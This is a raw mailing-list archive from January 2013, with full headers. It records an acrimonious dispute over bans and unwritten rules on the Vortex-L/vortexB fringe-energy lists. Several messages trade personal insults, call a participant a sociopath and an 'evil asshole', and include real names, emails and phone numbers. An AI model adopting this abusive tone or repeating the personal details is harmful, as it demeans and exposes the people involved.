reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6090 X-OriginalArrivalTime: 10 Jan 2013 14:21:31.0295 (UTC) FILETIME=[C94D6AF0:01CDEF3D] Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4674 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: A X-Keywords: X-UID: 915 Bill, Just curious. If you are not enforcing Off-topic posts. In other words, you are not holding people responsible for off-topic posts. .AND. You have "no rule against insults." What rule have I specifically violated that you banned me? Since insults are allowed, then off-topic post are also allowed, it appears that I have not violated any single rule you put in place. Are you then now simply exercising your prerogative as owner without deference to the rules you set up yourself. That is within your rights to be capricious in your in interpretation, but do not pretend there are even rules. It's all useless if you are going to be arbitrary in your enforcement of it. Jojo ----- Original Message ----- From: "William Beaty" To: Sent: Thursday, January 10, 2013 1:31 PM Subject: [VoB]:Vortex back on, PLEASE READ (fwd) > > Oops, MISSED MESSAGE, forwarded from vtx. > > This is vortexB you're reading. > > > > > So, suddenly after more than a decade, vortex needs a team of moderators? > > No. Moderation isn't the problem. > > Vortex-L very intentionally has no rule against insults, and no moderator > oversight. The community functions by attracting people of good character > who ignore all insults (and who know enough to ostracize those who don't.) > > The cause of the recent troubles is not lack of tight moderator control. > The cause is very old and *very* well-known. It's a system-wide rule > which was being completely ignored by the participants. It's very, very > simple: > > Rule #1: DO NOT FEED A TROLL. > > If someone insults you, do not respond. What if the insult is grave, and > attacks your very honor? Go see rule #1. Did the other guy start it, and > you're entirely justified in answering their terrible slander? Wrong, see > rule #1. But their grievous insult is supporting Sectarian Hatred, and > must be stopped! No, see rule #1. And their twisted lies remain in the > public archive for all to see, forever, and injures the minds of the > children! Uh ...I think you need to go see rule #1. > > And if you refuse to killfile the troll, and instead try to defend > yourself, chances are that you'll get banned, and the troll will not. Not > a joke. Fighting with trolls hurts *you*. If you think that ignoring a > troll causes problems and does not work, just try fighting with one, see > where that gets you. > > However, with the fall of Usenet and the rise of heavily-moderated > troll-free forums, it's not just the total newbies who seem unfamiliar > with the rule of DO NOT FEED A TROLL. Fairly sophisticated people who > should know better, they think up all sorts of justifications to indulge > in gigantic public battles with disgusting enemies. Perhaps they think > that ignoring trolls didn't work, and that they can "win" a fight? No, > because true trolls are intellectually dishonest, and their irrational > reasoning is completely unassailable. All your effort is guaranteed to be > wasted. Which is exactly what the troll wanted. "Fighting with pigs only > covers you in filth, and the pig enjoys it." > > But it's trivially easy to defeat the pig. > > Just see rule #1. Put them in killfile. > > > >> From the very first link on the Vortex-L page: >> http://amasci.com/lists.html > > Flamewars usually are triggered *NOT* when one person intentionally > insults another, but when one person *takes* insult when reading > messages having fairly innocent intent. The offended reader then hurls > a real insult in return. Their target feels unjustly attacked, since > after all they did not send any horrible insults in the first place. > Therefore they respond with insults of their own. And so a "war" has > been triggered through misunderstandings. Same as with nations. Same > as with little kids. And as with fighting children, the flamewar > participants will often end up saying "well she started it, I was just > defending myself! "No he started it, no she did, no he did," and the > list owner finally steps in and says "I don't care who started it, you > both participated, both of you go stand in the corner." > > The solution? Simple: Be nice. Don't hurl insults via the list, EVEN > IF SOMEONE ELSE INSULTED YOUR FIRST. Avoid acting like a self-important > boob; don't take insult at every little thing, and don't insist on > public retaliation for every slight. Either ask if the insult was > intentional, or if you must, send your responding attack directly to > your target via private mail and *not* to the email list. If you feel > that someone has unjustly attacked you, and if you feel justified in > defending yourself IN PUBLIC, then you have fallen for the Flamewar > psychology. People with an "eye for an eye" philosophy, those who have > a need to take retribution for perceived attacks, are no better than > primitive tribes trapped in cycles of violence, or modern nations who > start wars for stupid reasons. On the other hand, if all the real (or > imagined) insults go right past you with no effect ...then you'd make a > good email-list moderator! :) > > Now I'm thinking this 'unwritten rule of the internet' needs to be > included in the vortex-L rules. Seriously. People apparently aren't > aware of it, so it should be made explicit. > > PS What is vortex, really? It's 1994. Vortex-L is essentially the usenet > newsgroup called sci.physics.fusion, but with all the skeptics removed. > It's still just like Usenet: not really moderated, and has no rule against > insults. A self-organizing community forms, just like all newsgroups. > Trolls come and go, but the community quickly sees through them. I do > sometimes remove trolls as a convenience after weeks, when they're howling > and screeching alone, ignored by the group. > > > (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) > William J. Beaty SCIENCE HOBBYIST website > billb at amasci com http://amasci.com > EE/programmer/sci-exhibits amateur science, hobby projects, sci fair > Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci > > From vortexb-l-request@eskimo.com Thu Jan 10 08:49:39 2013 Received: from ultra7.eskimo.com (IDENT:smartlst@localhost [127.0.0.1]) by ultra7.eskimo.com (8.14.0/8.14.3) with ESMTP id r0AGnXpk029328; Thu, 10 Jan 2013 08:49:34 -0800 Received: (from smartlst@localhost) by ultra7.eskimo.com (8.14.0/8.12.10/Submit) id r0AGnSGO029315; Thu, 10 Jan 2013 08:49:28 -0800 Resent-Date: Thu, 10 Jan 2013 08:49:28 -0800 X-Authentication-Warning: ultra7.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authentication-Warning: shell.eskimo.com: billb owned process doing -bs Date: Thu, 10 Jan 2013 08:49:29 -0800 (PST) From: William Beaty To: vortexb-l@eskimo.com Subject: Re: [VoB]:Vortex back on, PLEASE READ (fwd) In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4675 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 916 On Thu, 10 Jan 2013, Jojo Jaro wrote: > What rule have I specifically violated that you banned me? None. As I said, I moved you here for fighting in public. And you're right here on vortex, not totally "banned." vortexB has a different population than vortex. More like, an audience at the fights, wanting to sit down with popcorn and see some dirt, some pro-wrestling, or the family members hitting each other with folding chairs. But usually it doesn't happen, otherwise the VoB subscribership would be very large! > Since insults are > allowed, then off-topic post are also allowed, it appears that I have not > violated any single rule you put in place. You're not that stupid. You and Lomax behaved like complete assholes on a professional forum. You turned a large group of people against you, and completely ignored all requests from fellow users that you cease the stream of garbage. Your behavior was reprehensible, disgusting. People of integrity simply do not pull the shit that you two were doing. But you seem not to know this? You really should be ashamed of yourself, but it appears that you aren't. > Are you then now simply exercising your prerogative as owner without > deference to the rules you set up yourself. What rules? The rule is "no skeptics." Everything else involves your behaving like a total creep, being an asshole, "being a dick." I'm sure you've witnessed other people being assholes. When you start doing it yourself, are you blind to it? Now in the following sentence, I'm not trying to insult you. I'm serious: If you honestly don't know what you did wrong on vortex, and why everyone was complaining about your behavior, that's a very major symptom of being a true sociopath. Are you banned from online forums? That's another major symptom. See: WP: don't be a dick http://meta.wikimedia.org/wiki/Don%27t_be_a_dick "If a significant number of reasonable people suggest, whether bluntly or politely, that you are being a dick, the odds are good that you are not entirely in the right." WHAT MAKES THE SMEGHEAD? http://davidgerard.co.uk/fsckhead.html (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci From vortexb-l-request@eskimo.com Thu Jan 10 09:34:10 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0AHY9q2013372; Thu, 10 Jan 2013 09:34:09 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0AHXqiJ013294; Thu, 10 Jan 2013 09:33:52 -0800 Resent-Date: Thu, 10 Jan 2013 09:33:52 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: LORENHEYER@aol.com Message-ID: <2a98a.66c672db.3e20557e@aol.com> Date: Thu, 10 Jan 2013 12:33:51 -0500 (EST) Subject: Re: [VoB]:Vortex back on, PLEASE READ (fwd) To: vortexb-l@eskimo.com MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Mailer: AOL 4.0 for Windows sub 29 X-Originating-IP: [63.3.14.130] x-aol-global-disposition: G DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mx.aol.com; s=20121107; t=1357839232; bh=lKIhSwMhGkzSgX7YRby3ZabohbwNvQqDhSmx6q16icc=; h=From:To:Subject:Message-ID:Date:MIME-Version:Content-Type; b=mnWGUIN6rdWWYy435pGeNSuiRd7wjgykb0knn6jQanlDLl+RT0tcdi80Fn4dLliMg GveQi0z//AeOr8re4C7LHVsVbnE+7ToxxNQJU5G4G1p77+X3Qf+tbdjoja3e4vYG0P HCaER44bDrTtCUBCyMnzSdIsbsZt3sSZj02x+Mp4= X-AOL-SCOLL-SCORE: 0:2:452862816:93952408 X-AOL-SCOLL-URL_COUNT: 0 x-aol-sid: 3039ac1d338d50eefb7f66c3 Resent-Message-ID: <7jjMhC.A.pPD.Auv7QB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4676 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 917 So goes it for humankind and our times long since obsolescent earthly ways!. Yes, sadly because we're all 'just human',,, we will never see the *true* light, or participate in the very highly developed/sophisticated capacity which countless HACs currently are, thruout the known universe (it's a given). So to all humanosaurs, I say Farewell for now. PS. There's "one and only one" absolute true system by which interstellar space will be traveled and/or enable a whole complete different 'mode of existence' among the stars!.... In a message dated 1/10/13 0:31:41 AM EST, billb@eskimo.com writes: << Rule #1: DO NOT FEED A TROLL. Just see rule #1. Put them in killfile. PS What is vortex, really? It's 1994. Vortex-L is essentially the usenet newsgroup called sci.physics.fusion, but with all the skeptics removed. It's still just like Usenet: not really moderated, and has no rule against insults. A self-organizing community forms, just like all newsgroups. Trolls come and go, but the community quickly sees through them. I do sometimes remove trolls as a convenience after weeks, when they're howling and screeching alone, ignored by the group. (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) William J. Beaty SCIENCE HOBBYIST website billb at amasci com http://amasci.com EE/programmer/sci-exhibits amateur science, hobby projects, sci fair Seattle, WA 206-762-3818 unusual phenomena, tesla coils, weird sci >> From vortexb-l-request@eskimo.com Thu Jan 10 10:13:35 2013 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id r0AIDYoA007149; Thu, 10 Jan 2013 10:13:34 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id r0AIDXOm007137; Thu, 10 Jan 2013 10:13:33 -0800 Resent-Date: Thu, 10 Jan 2013 10:13:33 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-EIP: [VI2Llq7yIfEEZ/8zBmLQvfDt9wrgnEfH] X-Originating-Email: [jthao1@hotmail.com] Message-ID: From: Jojo Jaro To: "William Beaty" , References: Date: Fri, 11 Jan 2013 02:13:16 +0800 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=response Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.5931 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6090 X-OriginalArrivalTime: 10 Jan 2013 18:13:29.0461 (UTC) FILETIME=[312D0250:01CDEF5E] Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4677 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Re: private Status: RO X-Status: X-Keywords: X-UID: 918 You are full of bullshit. I was attacked here first by reprehensible behavior by bullies you allow. Now, I retaliate and I'm the sociopath? Investigate my history of posting here and you will see who started it. I dare you, double dare you to find where I started an attack against anybody. This started when I posted on the fallacies of Darwinian Evolution. Attacks came shortly after that and it was relentless. I went for a while without retaliating, but like I said, enough is enough. What have I done to deserve all the attacks except that I expressed my own personal belief. By your own admission, you have no rule against me posting on Darwinian Evolution, so where is your justification for the incessant attacks against me? Oh, but you say, it is my fault for retaliating. Bullcrap. I wonder how you would feel if people insulted you day in and day out for what you stand for. Why aren't the people who started it being held accountable? I guess I should not expect you to be fair and objective. You are part of the problem. The same thing happened to Loren. You have no rule against his posts but you arbitrarily labeled him a bigot and banned him. There should be "rule of law". If somebody hasn't violated any rules, he should not be punished. Allowing the group to "make up the rules as we go" is mob rule, not rule of law. By you own admission, I have not violated any of your rules, and yet I am being punished and labelled a sociopath (which is an insult and a personal attack, by the way. Hence the reason for my retaliating insult.) I made the bet with Terry to try to prove that there is anarchy and mob rule here. It seems that I have proven it. I have no desire to be part of a group which runs on anarchy and mob rule. Yes, mob rule, because if a number of people do not like my opinions, they censor and insult and attack me and ban you. If that is not mob rule, I don't know what is. It's communistic fascism at its finest. I guess it's good for Lomax to have started his competing list. If this list will not honor the "rule of rules", it does not deserve to exist. And why on earth should I apologize to Jed. He destroys this important forum by his incessant gabbing and I call on him (nicely) to moderate it and he not only continues it, but increases its frequency and intensity. I have not said anything to Jed that would be contrued as insulting. Jojo ----- Original Message ----- From: "William Beaty" To: "Jojo Jaro" Sent: Friday, January 11, 2013 12:56 AM Subject: Re: private > On Wed, 9 Jan 2013, Jojo Jaro wrote: > >> But to make one thing clear, you need to do something about the >> off-topics posts. Your new rules should make this policy clear. > > My Vortex-L rules are on the site: no poisonous "skeptics" will be > tolerated, and vortex-L is a forum about anomalous energy devices. > > All other rules you've heard about were evolved by the group itself. That > [OT] label, that's nothing of mine, and it's enforced by the group. > > These are long-standing unwritten rules, "Community standards" like a > neighborhood rule of "no old vehicles allowed in your yard, repair broken > windows immediately, and keep your lawn mowed." Nobody knows about these > rules unless they move into the community and live there. (Or, you could > carefully watch other vortex users, then studiously copy their behavior.) > > I guess you could say that vortex-L is a slight bit like Wikipedia: the > owner set it up, but doesn't call the shots, instead it's more like a > self-organized creature, a leaderless committee. To become part of the WP > committee you have to blend yourself in, pretend to be one of them, then > live there for many years. But on WP, at least the committee got together > and published their unwritten rules. > > On vortex they make them up as they go along, but this happened in the > distant past, and the invisible rules haven't changed in years. It's a > new users' responsibility to figure out what they are. We do this by > listening to complaints from other users, and taking them very very > seriously. Or we can just ask the other users straight out, and follow > their advice. > > It's not just vortex which does this. All human groups everywhere have > invisible standards, which, if you violate them, it goes very badly for > you. > > >> If you changed your mind about off-topic posts and want to allow it now, >> then make that clear as well. A lot of confusion and problems occur >> because you have rules that you do not enforce. If you're not going to >> enforce it, why bother making the rules. This is the crux of my >> complaint. > > Really the online community enforces it. I only step in for extreme > violations lasting months (e.g. like Mary Hugo.) If you violate community > standards, if you have rusting hulks in your front yard, and foot-high > weeds in your lawn, then your neighbors will start sending you complaints. > It's a bad mistake to argue with them, or ignore these, or to see them as > unfair attacks. > > If you REALLY screw up, then even the Vortex old-timers will message you. > If you ignore even this, the whole group will turn against you and > actively attack. > > I haven't monitored vortex in detail, but I noticed you calling the group > a "gang of bullies." This may mean that you screwed up badly, ignored all > the escalating complaints, and already turned the whole group against you. > > Perhaps the big riot was actually about this, and not only about Lomax the > troll? > > >> >> Also, I am using my real name. > > 'Real name' is the one on your taxes and on your birth certificate. But > the point is, REAL IDENTITIES like any adult in a professional society. > Address and phone number. Employer. Website with resume. > > Look at the bottom of this message for example. Or go see CMNS archive. > >> Just because I do not have a facebook account does not mean I'm not >> real. I did not join facebook for a reason. >> >> If you are going to implement real identities, you need to implement it >> fairly and properly. You need to remove Axil, Leaking Pen, Mint Candy, >> Reliable and all the other Chan alter egos on the list. > > Yep, they'll be gone. Or, if they are college professors in danger of > losing their jobs for discussing Rossi, I'll personally know their > identities, and they'll be using fake names like "Dr. Emil K. Benson, a > university in New Zealand" > > Not axil-axil. > > >> >> Furthermore, you may think that "who started it" is irrelevant, but you >> are wrong. I wonder how you would feel if this happened to you? > > It used to happen to me several times per week. > > I grew up on Usenet in the early 90s. No moderators, half trolls. And I > was hanging out on Sci.Skeptic and Sci.Physics and SED. In recent years > I'm banned from few forums, but many more forums I had to leave in order > avoid being banned. On WP I just avoided all alt-science topics, so I had > no problems there. > >> You need to hold the violators of this rule accountable. It is not the >> responsibility of the recipient to take it in and ignore it. It is the >> responsibility of the owner to enforce his rules. > > Vortex is an unmoderated list much like Usenet Newsgroups. I will remove > poisonous skeptics. And I'm also the "riot police" who puts a stop to any > uproar which lasts more than a few weeks. > > If I move vortex to local software, then it will have more channels than > just vortexB. We'll be able to subscribe to just Rossi, or LENR, or > Energy Devices, or general chat. Or all at once. > > > > If you've turned the whole vortex community against you, then your best > bet is to go to that community. Contact old timers such as Jed or Terry, > sincerely apologize for causing upheval. Ask them for advice, then follow > it. > > > > > (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) > William J. Beaty http://staff.washington.edu/wbeaty/ > beaty, chem washington edu Research Engineer > billb, amasci com UW Chem Dept, Bagley Hall RM74 > 206-543-6195 Box 351700, Seattle, WA 98195-1700 > From vortexb-l-request@eskimo.com Thu Jan 10 10:28:17 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0AISGDH028578; Thu, 10 Jan 2013 10:28:16 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0AISFPv028568; Thu, 10 Jan 2013 10:28:15 -0800 Resent-Date: Thu, 10 Jan 2013 10:28:15 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=ze+9EUaeuIIOOw4obyZ68hneIDvpbQMiaNSdO2WARVM=; b=ki1ECDwhXLfTzL+0Gxhvcxh8H5Z2FTSaR9FRcyUuJ8Q56fk9uRtE9CpHUzajLz0xDp amk+u+ByWx0kxst3ifnZkK9Q4h/DWr0/fXOAE3Yq2aK9VEh8ZoOtKAwpZGIfEFmwyX4w q70ooEf196EbsgH17ULUrO1XqOV3nxp9zHDpe5yq6penwFumb2POGtCZ1id0Ibj70Ozt NQxBxPzB9cty+BaQCYBe8OSO2R+3aoPJ+GFTHNcbpOEqt4q59+oFSCmrpkhpgKd525yx zN1t8s+eXl3UG6qEiXoxjpMphoHiYMILVbxrz3Z9obG8tyzvc6Q/vTECg/QhNQrgJGBz kUXg== MIME-Version: 1.0 In-Reply-To: References: Date: Thu, 10 Jan 2013 11:28:15 -0700 Message-ID: Subject: Re: [VoB]:Re: private From: leaking pen To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=047d7b10cb67a0b22704d2f357a1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4678 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 919 --047d7b10cb67a0b22704d2f357a1 Content-Type: text/plain; charset=ISO-8859-1 Well, this is b, so I can feel free to unload. The name is Alexander Hollins, I've been on this list with an email that contained my name before. I was also on here years before that with an email of The_leaking_pen@yahoo.com. Search leaking pen on the forum archives, you'll see I go way back. I was unsubscribed due to my account bouncing emails for some reason, and resigned up with the wrong email account. I'm fixing it. Still having an issue reregistering for some reason. You suggested that all people of a certain religion were evil. Unless that religion is one like some brands of satanism where a tenent of the religion is, BE EVIL, that's wrong to do. It's just as bad as stating all black guys are this, or all white people do this. That's an attack on EVERYONE on this list, by asking us to support your lunacy and bigotry and hatred. Yes, it is mob rule. the majority decided you were an idiot, mobbed you to fix it yourself. You refused, and Bill decided to step in to cool the situation down. I apologize to Bill that it got this far, he's busy enough without dealing with this shit. Lets lay it on the line. By your insistence on following a religious brainwashing as too who is evil and who is not, your refusal to look at competing evidence, and your constant derailing of discussions to make them about your personal discussion goal when they were not about that to begin with, you are an asshole. A flaming, ignorant, hate filled, evil asshole, and if there is a hell, you will burn there for eternity, tortured by the Satan that pulls your strings like the puppet you are, all the while positive that you are burning there because you weren't hate filled ENOUGH. I plead with you. Read the words of Jesus. This is not his way, not THE way. THE way is truth, honesty, and love. Please realize that hate has consumed you, and you do the devil's work. It is not too late to turn, honestly, to Jesus. Alexander Hollins On Thu, Jan 10, 2013 at 11:13 AM, Jojo Jaro wrote: > You are full of bullshit. I was attacked here first by reprehensible > behavior by bullies you allow. Now, I retaliate and I'm the sociopath? > Investigate my history of posting here and you will see who started it. I > dare you, double dare you to find where I started an attack against anybody. > > This started when I posted on the fallacies of Darwinian Evolution. > Attacks came shortly after that and it was relentless. I went for a while > without retaliating, but like I said, enough is enough. What have I done > to deserve all the attacks except that I expressed my own personal belief. > By your own admission, you have no rule against me posting on Darwinian > Evolution, so where is your justification for the incessant attacks against > me? > > Oh, but you say, it is my fault for retaliating. Bullcrap. I wonder how > you would feel if people insulted you day in and day out for what you stand > for. Why aren't the people who started it being held accountable? I guess > I should not expect you to be fair and objective. You are part of the > problem. > > The same thing happened to Loren. You have no rule against his posts but > you arbitrarily labeled him a bigot and banned him. There should be "rule > of law". If somebody hasn't violated any rules, he should not be punished. > Allowing the group to "make up the rules as we go" is mob rule, not rule of > law. By you own admission, I have not violated any of your rules, and yet > I am being punished and labelled a sociopath (which is an insult and a > personal attack, by the way. Hence the reason for my retaliating insult.) > > I made the bet with Terry to try to prove that there is anarchy and mob > rule here. It seems that I have proven it. > > I have no desire to be part of a group which runs on anarchy and mob rule. > Yes, mob rule, because if a number of people do not like my opinions, they > censor and insult and attack me and ban you. If that is not mob rule, I > don't know what is. It's communistic fascism at its finest. > > I guess it's good for Lomax to have started his competing list. If this > list will not honor the "rule of rules", it does not deserve to exist. > > And why on earth should I apologize to Jed. He destroys this important > forum by his incessant gabbing and I call on him (nicely) to moderate it > and he not only continues it, but increases its frequency and intensity. > I have not said anything to Jed that would be contrued as insulting. > > > > Jojo > > > ----- Original Message ----- From: "William Beaty" > To: "Jojo Jaro" > Sent: Friday, January 11, 2013 12:56 AM > Subject: Re: private > > > On Wed, 9 Jan 2013, Jojo Jaro wrote: >> >> But to make one thing clear, you need to do something about the >>> off-topics posts. Your new rules should make this policy clear. >>> >> >> My Vortex-L rules are on the site: no poisonous "skeptics" will be >> tolerated, and vortex-L is a forum about anomalous energy devices. >> >> All other rules you've heard about were evolved by the group itself. That >> [OT] label, that's nothing of mine, and it's enforced by the group. >> >> These are long-standing unwritten rules, "Community standards" like a >> neighborhood rule of "no old vehicles allowed in your yard, repair broken >> windows immediately, and keep your lawn mowed." Nobody knows about these >> rules unless they move into the community and live there. (Or, you could >> carefully watch other vortex users, then studiously copy their behavior.) >> >> I guess you could say that vortex-L is a slight bit like Wikipedia: the >> owner set it up, but doesn't call the shots, instead it's more like a >> self-organized creature, a leaderless committee. To become part of the WP >> committee you have to blend yourself in, pretend to be one of them, then >> live there for many years. But on WP, at least the committee got together >> and published their unwritten rules. >> >> On vortex they make them up as they go along, but this happened in the >> distant past, and the invisible rules haven't changed in years. It's a >> new users' responsibility to figure out what they are. We do this by >> listening to complaints from other users, and taking them very very >> seriously. Or we can just ask the other users straight out, and follow >> their advice. >> >> It's not just vortex which does this. All human groups everywhere have >> invisible standards, which, if you violate them, it goes very badly for you. >> >> >> If you changed your mind about off-topic posts and want to allow it now, >>> then make that clear as well. A lot of confusion and problems occur >>> because you have rules that you do not enforce. If you're not going to >>> enforce it, why bother making the rules. This is the crux of my complaint. >>> >> >> Really the online community enforces it. I only step in for extreme >> violations lasting months (e.g. like Mary Hugo.) If you violate community >> standards, if you have rusting hulks in your front yard, and foot-high >> weeds in your lawn, then your neighbors will start sending you complaints. >> It's a bad mistake to argue with them, or ignore these, or to see them as >> unfair attacks. >> >> If you REALLY screw up, then even the Vortex old-timers will message you. >> If you ignore even this, the whole group will turn against you and actively >> attack. >> >> I haven't monitored vortex in detail, but I noticed you calling the group >> a "gang of bullies." This may mean that you screwed up badly, ignored all >> the escalating complaints, and already turned the whole group against you. >> >> Perhaps the big riot was actually about this, and not only about Lomax >> the troll? >> >> >> >>> Also, I am using my real name. >>> >> >> 'Real name' is the one on your taxes and on your birth certificate. But >> the point is, REAL IDENTITIES like any adult in a professional society. >> Address and phone number. Employer. Website with resume. >> >> Look at the bottom of this message for example. Or go see CMNS archive. >> >> Just because I do not have a facebook account does not mean I'm not >>> real. I did not join facebook for a reason. >>> >>> If you are going to implement real identities, you need to implement it >>> fairly and properly. You need to remove Axil, Leaking Pen, Mint Candy, >>> Reliable and all the other Chan alter egos on the list. >>> >> >> Yep, they'll be gone. Or, if they are college professors in danger of >> losing their jobs for discussing Rossi, I'll personally know their >> identities, and they'll be using fake names like "Dr. Emil K. Benson, a >> university in New Zealand" >> >> Not axil-axil. >> >> >> >>> Furthermore, you may think that "who started it" is irrelevant, but you >>> are wrong. I wonder how you would feel if this happened to you? >>> >> >> It used to happen to me several times per week. >> >> I grew up on Usenet in the early 90s. No moderators, half trolls. And I >> was hanging out on Sci.Skeptic and Sci.Physics and SED. In recent years >> I'm banned from few forums, but many more forums I had to leave in order >> avoid being banned. On WP I just avoided all alt-science topics, so I had >> no problems there. >> >> You need to hold the violators of this rule accountable. It is not the >>> responsibility of the recipient to take it in and ignore it. It is the >>> responsibility of the owner to enforce his rules. >>> >> >> Vortex is an unmoderated list much like Usenet Newsgroups. I will remove >> poisonous skeptics. And I'm also the "riot police" who puts a stop to any >> uproar which lasts more than a few weeks. >> >> If I move vortex to local software, then it will have more channels than >> just vortexB. We'll be able to subscribe to just Rossi, or LENR, or >> Energy Devices, or general chat. Or all at once. >> >> >> >> If you've turned the whole vortex community against you, then your best >> bet is to go to that community. Contact old timers such as Jed or Terry, >> sincerely apologize for causing upheval. Ask them for advice, then follow >> it. >> >> >> >> >> (((((((((((((((((( ( ( ( ( (O) ) ) ) ) ))))))))))))))))))) >> William J. Beaty http://staff.washington.edu/**wbeaty/ >> beaty, chem washington edu Research Engineer >> billb, amasci com UW Chem Dept, Bagley Hall RM74 >> 206-543-6195 Box 351700, Seattle, WA 98195-1700 >> >> > --047d7b10cb67a0b22704d2f357a1 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Well, this is b, so I can feel free to unload.=A0

The na= me is Alexander Hollins, I've been on this list with an email that cont= ained my name before. I was also on here years before that with an email of= The_leaking_pen@yahoo.com= . =A0Search leaking pen on the forum archives, you'll see I go way back= . =A0I was=A0unsubscribed=A0due to my account bouncing emails for some reas= on, and resigned up with the wrong email account. I'm fixing it. Still = having an issue reregistering for some reason.=A0

You suggested that all people of a certain religion wer= e evil. =A0Unless that religion is one like some brands of satanism where a= tenent of the religion is, BE EVIL, that's wrong to do. It's just = as bad as stating all black guys are this, or all white people do this. Tha= t's an attack on EVERYONE on this list, by asking us to support your lu= nacy and bigotry and hatred.=A0

Yes, it is mob rule. the majority decided you were an idiot,= mobbed you to fix it yourself. You refused, and Bill decided to step in to= cool the situation down. I apologize to Bill that it got this far, he'= s busy enough without dealing with this shit.=A0

Lets lay it on the line. =A0By your insistence on follo= wing a religious brainwashing as too who is evil and who is not, your refus= al to look at competing evidence, and your constant derailing of discussion= s to make them about your personal discussion goal when they were not about= that to begin with, you are an asshole. A flaming, ignorant, hate filled, = evil asshole, and if there is a hell, you will burn there for eternity, tor= tured by the Satan that pulls your strings like the puppet you are, all the= while positive that you are burning there because you weren't hate fil= led ENOUGH. I plead with you. Read the words of Jesus. This is not his way,= not THE way. =A0THE way is truth, honesty, and love. Please realize that h= ate has consumed you, and you do the devil's work. It is not too late t= o turn, honestly, to Jesus.=A0

Alexander Hollins
On Thu,= Jan 10, 2013 at 11:13 AM, Jojo Jaro <jthao1@hotmail.com> w= rote:
You are full of bullshit. =A0I was attacked = here first by reprehensible behavior by bullies you allow. =A0Now, I retali= ate and I'm the sociopath? Investigate my history of posting here and y= ou will see who started it. =A0I dare you, double dare you to find where I = started an attack against anybody.

This started when I posted on the fallacies of Darwinian Evolution. =A0Atta= cks came shortly after that and it was relentless. =A0I went for a while wi= thout retaliating, but like I said, enough is enough. =A0What have I done t= o deserve all the attacks except that I expressed my own personal belief. = =A0By your own admission, you have no rule against me posting on Darwinian = Evolution, so where is your justification for the incessant attacks against= me?

Oh, but you say, it is my fault for retaliating. =A0Bullcrap. =A0I wonder h= ow you would feel if people insulted you day in and day out for what you st= and for. =A0Why aren't the people who started it being held accountable= ? =A0I guess I should not expect you to be fair and objective. =A0You are p= art of the problem.

